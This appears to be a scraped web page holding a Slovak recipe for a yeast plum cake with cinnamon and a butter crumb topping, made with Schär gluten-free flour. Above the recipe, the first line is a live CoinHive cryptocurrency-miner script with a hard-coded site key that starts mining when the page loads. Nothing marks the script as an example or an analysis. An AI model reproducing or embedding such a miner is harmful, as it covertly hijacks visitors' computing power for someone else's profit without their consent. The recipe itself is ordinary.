var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: ½ kg múky (chlebová Schär), 1 droždie (42 g), 2 vajcia, soľ, 100 g kryštálového cukru, 200 ml mlieka, citrónovú kôru, 100 g rozpusteného masla, olej

Potrebujeme na plnku: umyté na ¼ nakrájané slivky, škoricu, 3 PL kryštálového cukru

Potrebujeme na mrveničku: 50 g masla, 100 g práškového cukru, 100 g múky

Postup: Soľ a cukor dať do misky, zaliať teplým mliekom, do toho rozmrviť droždie, pridať vajíčka, maslo a olej. Prisypať preosiatu múku, postrúhanú citrónovú kôru a dobre vymiesiť. Nechať kysnúť 20-30 minút. Potom cesto rozotrieť na teplý naolejovaný plech. Husto naukladať slivky, posypať škoricou , kryštálovým cukrom a na koniec mrveničkou (múku a cukor nasypať na maslo a celé to rozmrviť v rukách nad koláčom). Piecť 20–25 minút na 180^{0}C.